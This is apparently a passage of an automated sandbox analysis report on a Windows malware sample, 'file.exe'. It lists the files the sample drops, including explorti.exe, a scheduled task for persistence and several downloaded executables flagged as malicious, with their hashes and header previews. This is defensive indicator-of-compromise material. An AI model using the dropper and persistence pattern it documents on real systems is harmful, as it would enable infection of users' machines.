SHA-512:	3071DEE8E34CE4857B277E67FAF96A102C6847B41505DF55894E673FCFC5984AC3989719C0D78ABFA53F248BDD3D895BC47AD026E901F12F61EA8E094A66B660
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.8427670305902257
Encrypted:	false
SSDEEP:	48:uiTrlKxrgxMxl9Il8uAUU0VyvdOcB/GUayg8yPd1rc:mxY1U0Vyvgw/hvg8B
MD5:	D1FF34DD1ADF8FD7BB3FC027491DA1D2
SHA1:	A3E40E808B30124D5123C7C702E9ECCDD34C3E2E
SHA-256:	3F247DD3062D2BBB0DFCA5FA5412BD73E47CA0E4FC36BB61828AF29E333D4518
SHA-512:	5DBC5C23389D66EBFC7BB712392D0F6EB407155114EF4721DA6550657A02E8BF62FCA5DE71F5F07210C98EB3F64355109CA09399A0369F6225CE8A76935B6663
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.i.p.w.W.M.+.N.H.l.b.C.D.m.s.Z.p.8.S.O.s.j.h.t.F.B.s.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".g.M.U.n.H.Q.b.8.2.g.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.I.5./.O.v.k.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4622
Entropy (8bit):	4.000921227306127
Encrypted:	false
SSDEEP:	96:JYXyVZ0xRjQxtx7l7JwNvmI4X8KikyrwwSw:JosGzQbx7l7qvmNT9yrwwSw
MD5:	59BDE8C4B3FC08EFA557CC2DDB64AF90
SHA1:	EA05C08C6121C0EF4734780674DED3F59C43EDA9
SHA-256:	F5619C7E4EDCEFAEC490C23F01A220D165E3010A555F189E0CA26E7B26B6FC44
SHA-512:	AE9D85798A02EDAE8BBE29BEF746D8D01F86CC40A63F9F704A9FB6D8C66EDFB66FA05E3ECE9FC2C6E746BCD623BDCD084F875A99A1E6C3E46480341C59AA4F05
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".z.3.U.T.q.T.b.3.7./.u.z.h.i.f.l.b.4.0.f.z.h.D.r.E.s.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".v.B.9.0.A./.7.7.2.g.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.I.5./.O.v.k.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	917504
Entropy (8bit):	6.579760957810958
Encrypted:	false
SSDEEP:	12288:MqDEvFo+yo4DdbbMWu/jrQu4M9lBAlKhQcDGB3cuBNGE6iOrpfe4JdaDgacTB:MqDEvCTbMWu7rQYlBQcBiT6rprG8asB
MD5:	D6F5BCA2F2CE2407AE4BF9115CFCA6D9
SHA1:	9BF709A5FB7D18FB70F15FAB8AEB352B0D7B9AAF
SHA-256:	33955CBC4FDCE5F71691408A1431B76B8FD40CDFDE91F8EA3724DC7414885C15
SHA-512:	15D73B3B2EF63EE160724220E3D112F3FD3C09A00CECFE7672570F0763505CA1FB4E79D963FDFB0F263D51E8F2D0B8596058B960BDB37017A6A941D0543D13F8
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 21%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L...?..f.........."..........P......w.............@..........................`......\|.....@...@.......@.....................d...\|....@..........................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc.......@......................@..@.reloc...u.......v..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1790976
Entropy (8bit):	7.945016301960948
Encrypted:	false
SSDEEP:	49152:EDX1MwDuFp+U5Sbi1cvMkg0X8C9d5PBXiClNM8GDb:EDXcFpcbi1idrHG
MD5:	4847D6885ADC7EA78FDF9918C384CECB
SHA1:	9EB0CE983F5A81300F18331B4899E03692FEA6EF
SHA-256:	2954DEC8276AF3D7C60154C2AFB2AE360D696C6A90EB779FD9E380848C6FD8CC
SHA-512:	E9B4D83425344B7137477105EE474C114F098D6C6E41D7BDFB47FB5902E32BA5C91AE9B9A3629DBAD0CE4151BBF9D880C80DBFD5002D77DA9AD88E8AA67F41FE
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 39%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b...............u^......uk......u_......{v.....fz.......{f..............uZ......uh.....Rich............PE..L...M..f.....................B"...... h...........@..........................Ph...........@.................................P.#.d.............................#..................................................................................... . ..#......<..................@....rsrc ......#......L..............@....idata ......#......L..............@... .0*...$......N..............@...fgtetwml.....0N......P..............@...kzhupcow......h.....................@....taggant.0... h.."...2..............@...................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1925120
Entropy (8bit):	7.948844647172498
Encrypted:	false
SSDEEP:	49152:zXGRzpVAA4KxhZmqwwUrAecVcukesiCY9jNzSnpAMfGwx:zXGRFVAA4KxhZmqxbevu2wdNOZx
MD5:	0F6E649713CB19B7CAB1CDC80DF57009
SHA1:	B44B989FB4AF18E2632EEE663B9A0E91058A7F50
SHA-256:	8B76DE4BD18371FDC11B923C6AD1056C16D5B24EC28F2C291F362754A36962B8
SHA-512:	4BE1B93C8F2CEA2AD6EB85955435ECEBED2745F619FFC0E35065773D0230443AFC1F3B4DDFC3B5E98277AA1CBEB99522B1CB5C42FD9AB55D3C1A888F0E0FA072
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 55%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJ.r>..r>..r>...=..r>...;.(r>.].:..r>.].=..r>.].;..r>...:..r>...?..r>..r?.^r>...7..r>......r>...<..r>.Rich.r>.................PE..L....A.f..............................L...........@..........................@L.....~.....@.................................W...k.............................K.............................H.K..................................................... . ............................@....rsrc...............................@....idata ............................@... ..+.........................@...mitseuwh.P....1..H..................@...dsajnmtd......L......:..............@....taggant.0....L.."...>..............@...........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\Temp\1000053001\0c179c8402.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	917504
Entropy (8bit):	6.579760957810958
Encrypted:	false
SSDEEP:	12288:MqDEvFo+yo4DdbbMWu/jrQu4M9lBAlKhQcDGB3cuBNGE6iOrpfe4JdaDgacTB:MqDEvCTbMWu7rQYlBQcBiT6rprG8asB
MD5:	D6F5BCA2F2CE2407AE4BF9115CFCA6D9
SHA1:	9BF709A5FB7D18FB70F15FAB8AEB352B0D7B9AAF
SHA-256:	33955CBC4FDCE5F71691408A1431B76B8FD40CDFDE91F8EA3724DC7414885C15
SHA-512:	15D73B3B2EF63EE160724220E3D112F3FD3C09A00CECFE7672570F0763505CA1FB4E79D963FDFB0F263D51E8F2D0B8596058B960BDB37017A6A941D0543D13F8
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 21%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L...?..f.........."..........P......w.............@..........................`......\|.....@...@.......@.....................d...\|....@..........................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc.......@......................@..@.reloc...u.......v..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\cv_debug.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1880
Entropy (8bit):	5.3902234755253895
Encrypted:	false
SSDEEP:	48:Yzj57SnaJ57H57Uv5W1Sj5W175zuR5z+5zn071eDJk5c1903bj5jJp0gcU854Rrw:8e2Fa116uCntc5toYw
MD5:	5B7EB7D809A12BFF7D61EEB177F8F431
SHA1:	642D37937EC07F9D34654353459D62D294AF28E3
SHA-256:	1F8E72412802DD344769557991F44CBAECCE9D6F8E7DFE29B61F6B8BD96D3614
SHA-512:	C6C0BE903D5E0BAA152348766B90DC6C0A9F6F5CB27848B88A8FCB02BAE7C9F4091663F0C5B53FC07A1749C5F89E3B2E4B11E35E68E77D17A4AC4B7A05571530
Malicious:	false
Preview:	{"logTime": "1004/133448", "correlationVector":"vYS73lRT+EoO2Owh9jsc+Y","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133448", "correlationVector":"n/KhuHPhHmYXokB31+JZz7","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133448", "correlationVector":"fclQx26bUZO07waFEDe6Fn","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133448", "correlationVector":"0757l0tkKt37vNrdCKAm8w","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133449", "correlationVector":"uTRRkmbbqkgK/wPBCS4fct","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133449", "correlationVector":"2DrXipL1ngF91RN7IemK0e","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/134324", "correlationVector":"d0GyjEgnW85fvDIojHVIXI","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/134324", "correlationVector":"PvfzGWRutB/kmuXUK+c8XA","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/134324", "correlationVector":"29CB75FBC4C942E0817A1F7A0E2CF647

C:\Users\user\AppData\Roaming\1000051000\48c5076e95.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1790976
Entropy (8bit):	7.945016301960948
Encrypted:	false
SSDEEP:	49152:EDX1MwDuFp+U5Sbi1cvMkg0X8C9d5PBXiClNM8GDb:EDXcFpcbi1idrHG
MD5:	4847D6885ADC7EA78FDF9918C384CECB
SHA1:	9EB0CE983F5A81300F18331B4899E03692FEA6EF
SHA-256:	2954DEC8276AF3D7C60154C2AFB2AE360D696C6A90EB779FD9E380848C6FD8CC
SHA-512:	E9B4D83425344B7137477105EE474C114F098D6C6E41D7BDFB47FB5902E32BA5C91AE9B9A3629DBAD0CE4151BBF9D880C80DBFD5002D77DA9AD88E8AA67F41FE
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 39%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b...............u^......uk......u_......{v.....fz.......{f..............uZ......uh.....Rich............PE..L...M..f.....................B"...... h...........@..........................Ph...........@.................................P.#.d.............................#..................................................................................... . ..#......<..................@....rsrc ......#......L..............@....idata ......#......L..............@... .0*...$......N..............@...fgtetwml.....0N......P..............@...kzhupcow......h.....................@....taggant.0... h.."...2..............@...................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\1000052000\a759b4c7d8.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1790976
Entropy (8bit):	7.945016301960948
Encrypted:	false
SSDEEP:	49152:EDX1MwDuFp+U5Sbi1cvMkg0X8C9d5PBXiClNM8GDb:EDXcFpcbi1idrHG
MD5:	4847D6885ADC7EA78FDF9918C384CECB
SHA1:	9EB0CE983F5A81300F18331B4899E03692FEA6EF
SHA-256:	2954DEC8276AF3D7C60154C2AFB2AE360D696C6A90EB779FD9E380848C6FD8CC
SHA-512:	E9B4D83425344B7137477105EE474C114F098D6C6E41D7BDFB47FB5902E32BA5C91AE9B9A3629DBAD0CE4151BBF9D880C80DBFD5002D77DA9AD88E8AA67F41FE
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 39%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b...............u^......uk......u_......{v.....fz.......{f..............uZ......uh.....Rich............PE..L...M..f.....................B"...... h...........@..........................Ph...........@.................................P.#.d.............................#..................................................................................... . ..#......<..................@....rsrc ......#......L..............@....idata ......#......L..............@... .0*...$......N..............@...fgtetwml.....0N......P..............@...kzhupcow......h.....................@....taggant.0... h.."...2..............@...................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\875a60a09683c344.customDestinations-ms (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	3888
Entropy (8bit):	3.5153479154701412
Encrypted:	false
SSDEEP:	48:QEKGRdOxm+gsJdrhzBdLXuHGkDpm2A5c2dOxngsJdrhzngdLXuHGk+21:lI3umkD5LnIumkz
MD5:	97926C47C4E4E88C8EFC891DA5C8C2D8
SHA1:	05EBDA31CDD3FC19558580DAA11D5580CCB2D3E0
SHA-256:	A47BED65188735EE07162F125BBEC8E31537C6E75DB84503288317B27BAA872B
SHA-512:	D2F0838079B3E5F740AA7C39CFDE5E668103842F2A46A8892342CCF363876B666C0BA2241685864E764941148624213E4F3B774BDD56362A3F7BEF216FDE6662
Malicious:	false
Preview:	...................................FL..................F.@.. .....\|.K...XV}......?......(>@.....................1....P.O. .:i.....+00.../C:\.....................1.....DW.r..PROGRA~2.........O.IDW.r....................V.....x-L.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.)...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.7.....\.1.....DW.r..MICROS~1..D......(Ux..Y............................e..M.i.c.r.o.s.o.f.t.....N.1.....CWaa0.Edge..:.......S8.DWUl...........................s..E.d.g.e.....`.1.....CWaa0.APPLIC~1..H.......S8..Y...............................A.p.p.l.i.c.a.t.i.o.n.....`.2.(>@.=W2b .msedge.exe..F.......S8..Y.....u.......................q.m.s.e.d.g.e...e.x.e.......k...............-.......j..............d.....C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe..<.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.........%ProgramFiles(x86)%\Microsoft\Edge\Application\msedge.exe...............................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\NLEF764PDUOVOVP2J6GO.temp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	3888
Entropy (8bit):	3.5153479154701412
Encrypted:	false
SSDEEP:	48:QEKGRdOxm+gsJdrhzBdLXuHGkDpm2A5c2dOxngsJdrhzngdLXuHGk+21:lI3umkD5LnIumkz
MD5:	97926C47C4E4E88C8EFC891DA5C8C2D8
SHA1:	05EBDA31CDD3FC19558580DAA11D5580CCB2D3E0
SHA-256:	A47BED65188735EE07162F125BBEC8E31537C6E75DB84503288317B27BAA872B
SHA-512:	D2F0838079B3E5F740AA7C39CFDE5E668103842F2A46A8892342CCF363876B666C0BA2241685864E764941148624213E4F3B774BDD56362A3F7BEF216FDE6662
Malicious:	false
Preview:	...................................FL..................F.@.. .....\|.K...XV}......?......(>@.....................1....P.O. .:i.....+00.../C:\.....................1.....DW.r..PROGRA~2.........O.IDW.r....................V.....x-L.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.)...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.7.....\.1.....DW.r..MICROS~1..D......(Ux..Y............................e..M.i.c.r.o.s.o.f.t.....N.1.....CWaa0.Edge..:.......S8.DWUl...........................s..E.d.g.e.....`.1.....CWaa0.APPLIC~1..H.......S8..Y...............................A.p.p.l.i.c.a.t.i.o.n.....`.2.(>@.=W2b .msedge.exe..F.......S8..Y.....u.......................q.m.s.e.d.g.e...e.x.e.......k...............-.......j..............d.....C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe..<.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.........%ProgramFiles(x86)%\Microsoft\Edge\Application\msedge.exe...............................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\UOHGJQYTOHJE0HE2RKO3.temp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	3888
Entropy (8bit):	3.514733227831059
Encrypted:	false
SSDEEP:	48:QE5c2dOxngsJdrhzBdLXuHGkDpm2A5c2dOxngsJdrhzngdLXuHGk+21:m3umkD5LnIumkz
MD5:	39B9BF758F7BF9BB44911443531D2B09
SHA1:	F66BD1A8B9B6BF64A9B67869BA33307D5E3DBDAA
SHA-256:	EF8A4AC980BB84B981AE91D22FE7D2EA5CEBAA081B9B124795390A49F7BA4DFF
SHA-512:	32FFB72631D8ACC4D396536B95AAE18211E68A961884CFEF4A6A935C23061D5E2721E8E351FA5EFE1A927E6EA888BB91A63E11B4ACB1A9ABC9824B0A467D0B03
Malicious:	false
Preview:	...................................FL..................F.@.. .....\|.K...XV}......?......(>@.....................1....P.O. .:i.....+00.../C:\.....................1......Y....PROGRA~2.........O.I.Y......................V.....8 ..P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.)...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.7.....\.1.....DW.r..MICROS~1..D......(Ux..Y............................e..M.i.c.r.o.s.o.f.t.....N.1.....CWaa0.Edge..:.......S8..Y............................s..E.d.g.e.....`.1.....CWaa0.APPLIC~1..H.......S8..Y...............................A.p.p.l.i.c.a.t.i.o.n.....`.2.(>@.=W2b .msedge.exe..F.......S8..Y.....u.......................q.m.s.e.d.g.e...e.x.e.......k...............-.......j..............d.....C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe..<.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.........%ProgramFiles(x86)%\Microsoft\Edge\Application\msedge.exe...............................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\ccba5a5986c77e43.customDestinations-ms (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	3888
Entropy (8bit):	3.514733227831059
Encrypted:	false
SSDEEP:	48:QE5c2dOxngsJdrhzBdLXuHGkDpm2A5c2dOxngsJdrhzngdLXuHGk+21:m3umkD5LnIumkz
MD5:	39B9BF758F7BF9BB44911443531D2B09
SHA1:	F66BD1A8B9B6BF64A9B67869BA33307D5E3DBDAA
SHA-256:	EF8A4AC980BB84B981AE91D22FE7D2EA5CEBAA081B9B124795390A49F7BA4DFF
SHA-512:	32FFB72631D8ACC4D396536B95AAE18211E68A961884CFEF4A6A935C23061D5E2721E8E351FA5EFE1A927E6EA888BB91A63E11B4ACB1A9ABC9824B0A467D0B03
Malicious:	false
Preview:	...................................FL..................F.@.. .....\|.K...XV}......?......(>@.....................1....P.O. .:i.....+00.../C:\.....................1......Y....PROGRA~2.........O.I.Y......................V.....8 ..P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.)...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.7.....\.1.....DW.r..MICROS~1..D......(Ux..Y............................e..M.i.c.r.o.s.o.f.t.....N.1.....CWaa0.Edge..:.......S8..Y............................s..E.d.g.e.....`.1.....CWaa0.APPLIC~1..H.......S8..Y...............................A.p.p.l.i.c.a.t.i.o.n.....`.2.(>@.=W2b .msedge.exe..F.......S8..Y.....u.......................q.m.s.e.d.g.e...e.x.e.......k...............-.......j..............d.....C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe..<.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.........%ProgramFiles(x86)%\Microsoft\Edge\Application\msedge.exe...............................

C:\Windows\Tasks\explorti.job

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	3.4241383118504127
Encrypted:	false
SSDEEP:	6:aceC+1RlPXUG5ZsUEZ+lX1cI1l6lm6tFXqYEp5t/uy0lFX2ut0:teCIYQ1cagxfXVgut0
MD5:	2393BEFD557E37A8EB390688B30C325A
SHA1:	36B8CA26FC2A255402470C34C7452B5D7C42A878
SHA-256:	951FF4704E5FE8A2725276186A86F997A0F50979373698A5685651835947518D
SHA-512:	B1FDAC65A9608F526CFC714D5A018223D6656AA791A147329672D5CD4AB9FBCAE20B5712D5A75B6621F5B3B270981077B71ACBBA8056EB7BF509101D1F0F3F3C
Malicious:	false
Preview:	....v^..>.FG..gq..>.F.......<... .....s.......... ....................;.C.:.\.U.s.e.r.s.\.a.l.f.o.n.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.0.d.8.f.5.e.b.8.a.7.\.e.x.p.l.o.r.t.i...e.x.e.........A.L.F.O.N.S.-.P.C.\.a.l.f.o.n.s...................0...................@3P.........................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.948844647172498
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'925'120 bytes
MD5:	0f6e649713cb19b7cab1cdc80df57009
SHA1:	b44b989fb4af18e2632eee663b9a0e91058a7f50
SHA256:	8b76de4bd18371fdc11b923c6ad1056c16d5b24ec28f2c291f362754a36962b8
SHA512:	4be1b93c8f2cea2ad6eb85955435ecebed2745f619ffc0e35065773d0230443afc1f3b4ddfc3b5e98277aa1cbeb99522b1cb5c42fd9ab55d3c1a888f0e0fa072
SSDEEP:	49152:zXGRzpVAA4KxhZmqwwUrAecVcukesiCY9jNzSnpAMfGwx:zXGRFVAA4KxhZmqxbevu2wdNOZx
TLSH:	7F9533A68FD01176CC9B81352834BBF33B7437A1CB4BCE7E2ADA52155C66F063246E61
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJ.r>..r>..r>...=..r>...;.(r>.].:..r>.].=..r>.].;..r>...:..r>...?..r>..r?.^r>...7..r>......r>...<..r>.Rich.r>................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x8c1000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66A24110 [Thu Jul 25 12:12:00 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

